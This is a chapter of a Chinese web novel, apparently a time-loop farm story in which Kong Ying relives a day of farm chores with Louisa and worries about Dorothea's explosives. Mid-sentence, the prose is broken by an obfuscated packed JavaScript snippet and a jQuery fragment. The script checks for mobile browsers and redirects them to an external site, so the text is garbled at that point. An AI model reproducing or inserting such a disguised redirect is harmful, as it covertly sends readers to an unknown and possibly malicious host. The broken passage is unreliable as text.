银蓝色月光透过老虎窗和蕾丝窗帘，铺展来床侧。
孔映像是感知到月光的凉意，思绪渐渐恢复清明，她回忆着早间发生的一切，更确切地说是回忆着“明早”发生的一切，极力平静地梳理起那些古怪情形。
多萝西娅的炸药、空间里的黑洞、一个手握斧头说着循环话语的老妇人以及昏迷不醒的路易莎……
最后是她，推开胡丽安农舍的门但重新回到这个夜晚。
是因为那场爆炸带来了故障吗？
多萝西娅为什么会研制炸药，而且还要瞒着路易莎？
孔映的思绪又如同荆棘般混杂缠绕起来，随之而来的是一阵难以名状的、毫无秩序可言的情绪。最终，她举起双手，泄愤般搓揉一通脑袋。
她以为这是治愈系农场物语来着！
可为什么才短短一天就像是乱了套？
她停下动作，有那么几息像水中呆滞的鱼，良久，她轻叹声。
阒静夜色将原本几不可察的声息无限放大，她缓慢垂落双手，覆盖住整张面庞，继而向右侧躺，蜷缩进半床月光里。
不知想了什么，不知过去多久，那副紧绷的身躯总算松懈下来，连同呼吸也变得平稳而轻盈——她睡着了。
也许是大脑罢工的缘故，她奇异地避开了那些既定的嘈杂梦境，度过了一个意料之外的安静夜晚。
……
“克莉丝塔，是时候起床了。”
孔映双眼紧闭，但睫毛像蝶翅轻颤。
“如果你实在很疲惫——”
话只说到一半，床上的人忽然炮弹似的坐起身，甚至连眼也没睁开。
路易莎愣上一愣，即刻大笑。
孔映听见这笑声才揉揉眼睛，迷迷瞪瞪看向站在床边的女孩。
虽然已经知道路易莎有多开朗，但她为什么一早就能这么开心呢？
“克莉丝塔，你真可爱。”
“谢谢。”她礼貌回应。
路易莎笑得更开怀，一边将孔映从床上拎起，推到落地镜前。孔映对上镜中的自己，恍悟，她在笑她顶着头乱蓬蓬的头发还对此毫无知觉。
“……”
路易莎好像有些天然黑。
孔映费劲整理了一番头发，来到餐厅时，路易莎正从橡木桶里倒牛奶，她左右看看，问道：“多萝西娅和文森特先生呢？”
“妈妈在她的工具房里，爸爸他们一早就出发去河谷了。”
孔映若有所思地咬了咬嘴唇，路易莎将番茄三明治和牛奶端来她面前。
“路易莎，多萝西娅在工具房里都做些什么呢？”
“当然是做一些农场里用的工具，有时候也帮邻居们做篱桩，还会烧一些陶罐……”
“我可以去看看吗？”
路易莎略显为难：“我想你应该征求她的同意，但妈妈一向不喜欢我们进她的工具房。”
“唔，好吧。”
孔映默默喝起牛奶，心下犹豫着是否要阻止那场小范围的爆炸。
但多萝西娅看起来并不是头次这样做，如果以前的爆炸没有引起异常，那么“昨天”的爆炸会不会是因为她的在场才酝酿成“故障”的呢？
“克莉丝塔？”
孔映被点醒，茫然抬头。
“你又出神了，”路易莎满是无奈地瞧她，又重复遍刚才的话，“我是说，如果早上我们处理完全部的订单，下午就再去拜访胡丽安一次吧。”
“好。”
孔映决定装作若无其事，像第一次度过这天一样和路易莎一起前往谷仓。
出发前，路易莎打开了鸡舍的围篱，并对着工具房大喊声：“妈妈，我们出发了！”
工具房内传出多萝西娅含糊不清的回应声，路易莎遂向孔映耸耸肩，“她总是很专注。”
孔映看向满庭院散步的白羽鸡，明白过来鸡舍是多萝西娅实验前关起来的，她找到那只鸡群中最显眼的黑尾红鸡，它正在文森特先生的土豆地旁徘徊。
“……”
噢，想起来了。
Poor potato.
文森特农场里有三处谷仓，其中最大的谷仓建在麦田旁。谷仓的屋顶是橘红色的，墙壁由棕色橡木板拼成，两扇对开的木门外，一座斜塔般的麦垛高高耸立，正是昨天路易莎昏迷的地方。因此，孔映绕来麦垛前方时难免感到几分心惊肉跳，不过今日目之所及处只有几只灰雀在跳跃啄食，麦垛下方一派鲜活生机。
孔映微微松一口气，路易莎则前去查看起订单来。
修道院的厨房姊妹需要四袋小麦面粉和两袋土豆，尤格利亚小镇上的居民提莫西大叔需要一些燕麦和新鲜的芜菁，面包房的安妮需要小麦面粉、胡萝卜以及一些特殊的刺柏嫩枝，马克西姆的餐厅需要……
孔映的任务便是对照订单内容，一一将农作物从谷仓里搬出，放进各户的送货箱中。
她先到谷仓里堆满土豆的角落挑拣起土豆，大约是久违地体验到体力劳动的乐趣，她竟然连早间的忧虑都抛至脑后。
路易莎留意到她愉悦的神情，安心眯了眯眼。
克莉丝塔还真是干劲十足呢！
两人各自愉悦地处理着订单，偶尔孔映找不到需要的东西，便扬声询问路易莎，路易莎总是准确地回答她。很快，孔映熟悉了谷仓内部的布局，她在挡板后找到囤放在此的刺柏枝，挑选了一些嫩枝装满麻袋。
谷仓外，路易莎正整理一只装满货物的松木箱，孔映将麻袋拖拽出谷仓，回头去看她，却在刹那间转变了脸色。
一位挎着编织篮、手拎斧头的老妇人沿着麦田走来，路易莎看见她，愉快问好：“早安，阿尔贝特太太，您有什么需要吗？”
阿尔贝特太太停到她面前，笑呵呵开口：“天气——”
“天气不错，您想来换点东西是吗？”
孔映蓦然从路易莎身侧冒出，打断了阿尔贝特太太的话语。
“噢，亲爱的，你真是吓坏我了。”阿尔贝特太太面露惊色，嗔怪句。
“真是抱歉。”
不过昨天我也被您吓坏了。
孔映暗自腹诽着，神经着实松懈下来。
那句循环的话语已然成为不存在的过去，故障并没有发生。
“不过，这位甜心是谁呢，路易莎？”
“她是克莉丝塔，暂住在农场里，”路易莎接着问，“您需要些什么呢阿尔贝特太太？”
“请给我一些土豆和洋葱，”老太太说着将手里握着的斧头递
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598535|171957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出，“我想用它作为交换。”
“好极了，过些日子去砍木料一定能用上。”路易莎收下斧头，将它搁置在一旁的木箱上，接着转身去仓库里取洋葱和土豆。
孔映立在原地，目光死死黏在那柄斧头上。
难怪没有人对她随身携带两块红砖感到奇怪，毕竟在这个世界里，连红漆斧头也是硬通货。
不过斧头可不可以不要涂红漆啊，很容易引起误会欸。
阿尔贝特太太带着土豆和洋葱悠悠离去，孔映望着她背影，长松口气，正要接着干活，却听路易莎低笑声，她偏头看去，路易莎正一脸欣慰地望着她。
“克莉丝塔，你会主动向阿尔贝特太太寒暄，真是太好了。”
“……”
不，她那是情非得已。
“很高兴你愿意加入我们！”
孔映迎上她碧蓝的双眼，眸光微闪，接着，她别开眼，以极低的分贝说上声：“我也很高兴。”
在这里很轻松不是吗？
当然，是在故障被排除的情况下。
-
两个女孩赶在正午前整理完全部的订单，老约翰载着装好货物的马车扬长而去，孔映在麦垛前擦了擦汗。
劳动还真是辛苦啊。
“辛苦了，克莉丝塔，我想妈妈应该做好了午餐，我们回去吧。”
孔映闻言又有些伤脑筋，但在走回文森特之家时，所有顾虑都烟消云散。
庭院里，鸡群在闲庭漫步，小径上嘛……
Ashes to ashes, and dust to dust.
字面意义上的尘归尘，土归土，除了一小块地变空外，丝毫看不出曾经有一场小型爆炸在此发生。
“咦？”
路易莎却敏锐停下脚步，扭头看向脚边变空的地。
“路易，替我摘一些迷迭香来。”多萝西娅这时从厨房的窗户探出头来，像是一直等在那里。
“好的妈妈。”
孔映看向窗边，多萝西娅已经端着麦芽酒转身回屋。
午餐准备了甜菜汤、黑麦面包和迷迭香烤土豆，孔映叉起盘中一块土豆，心有戚戚送进嘴里，然后闭上眼睛。
美味！
路易莎同样在赞叹：“妈妈最近做的烤土豆比从前还要美味！”
多萝西娅正色回答：“是因为凯文种的土豆越来越好。”
嗯！也可能是烤土豆的工序发生了一些变化，比如事先用炸药炸上一次。
“克莉丝塔，你笑什么？”
“咳——”孔映因心虚噎了噎，“因为烤土豆很美味。”
“还真是个孩子。”路易莎故作老成口吻。
“……”
“对了妈妈，午后我和多萝西娅去胡丽安那里，你有什么需要吗？”
多萝西娅略作思索，说道：“替我向她要一罐薰衣草松脂膏来。”
“你又受伤了吗？”
“不，只是做饭前突然想到家里那罐就要用光了。”
她们谈得专注，没有注意到孔映微微凝滞的动作。
多萝西娅为什么会提到松脂膏？
是蝴蝶效应吗？那么这场连锁反应的终点又在什么地方呢？